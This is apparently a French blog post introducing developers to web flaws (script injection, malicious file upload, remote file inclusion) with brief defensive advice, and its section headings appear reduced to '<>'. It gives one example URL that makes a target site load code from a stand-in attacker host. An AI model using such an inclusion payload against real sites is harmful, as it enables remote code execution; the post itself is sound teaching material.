La sécurité web ?
Bonjour les codeurs! Savez-vous que l’on peut modifier votre front-end peux afficher du code HTML non prévue ? Ou que votre serveur peut exécuter des requêtes que vous n’avez pas définies ? Ou encore volée le mot de passe de vos utilisateurs a leur insu ? Et beaucoup autre chose. Aujourd’hui nous allons parler à la fois d’un tout autre sujet aussi passionnant qu’effrayant mais que beaucoup développeurs comme vous et moi prennent a la légère. Nous allons énumérer quelques-unes de ses failles. Mais avant toute chose retenez ceci « NE JAMAIS FAIRE CONFIANCE AUX DONNEES ENREGISTRER PAR L’UTILISATEUR ».
<> : c’est une faille aussi veille que la naissance du web. Il s’agit tout simplement de mettre du code HTML, CSS et JavaScript dans les champs de saisies des formulaires ou des Url en espérant qu’il s’exécute une fois lorsque le serveur fera appel à ses données. L’injection correspond bien à une vulnérabilité où des données externes modifient le comportement de l’application. Avec ce genre d’injection vous pouvez insérer du code JavaScript de tel sorte qu’il modifie le lien du formulaire site web d’origine pour que ce dernier redirige les infos de l’utilisateur vers votre page, voler les cookies et voler une session d’utilisateur et se connecter à un compte sans mot de passe etc. Pour ce prémunir contre cette attaque il faut tout simplement nettoyer le code des caractères spéciaux.
<> il s’agit ici de télécharger un fichier corrompu sur un serveur et l’exécuter via Url ou via un appel distant. C’est la raison pour laquelle il faut vérifier le type de fichier que l’on reçoit sur notre serveur. Comme le type MIME est fourni par le navigateur, il est impossible de s’y fier car le pirate peut faire passer un fichier PHP pour une image. Le ‘type’ indiqué dans la variable $_FILES doit être ignoré. On ne peut pas non plus se fier à l’extension du fichier chargé. Parce qu’on peut faire passer un fichier PHP pour une image ou encore injecter du code PHP et JavaScript dans un fichier aussi inoffensif qu’une image(steganographie) et l’exécuter ou encore corrompre toute les données envoyées par le navigateur (avec de bons outils). A cet effet on ne peut pas toujours nous fier aux informations reçus par le navigateur. On peut utiliser des fonction tel que file_info(), getimagesize () etc. Comme faille des fichiers il y’a le déni de service, l’écrasement de fichier, la taille de caractères, les failles par noms de fichier etc.
<> C’est légèrement différents de l’injection de fichier qui a pour but d’installer un fichier corrompus sur le serveur cible. Dans ce cas de figure il s’agit de mettre l’url du pirate dans l’url du site cible et le faire exécuter EX : www.example.com/?page=www.pirate.com/inject.php . Pour se prémunir il faut se rassurer de l’origine des paramètres URL.
Nous pouvons aussi noter les attaques tel que CSRF, les failles lier aux configurations serveurs et des fonctions, les injections SQL dans les bases de données et bien d’autres.
Sécurité web est vaste et une publication ne saurait couvrir tout le sujet. Quoi qu’il en soit beaucoup ne développerons plus leur application de la même manière car les risques vont de failles minimes tel que l’injection du code HTML a la prise de contrôle de votre système et pourquoi pas son clonage et même jusqu’à son effacement complet. Tout dépend des disposions de sécurité mises en place

HAPPY CODIMG !😊😊😊😊😊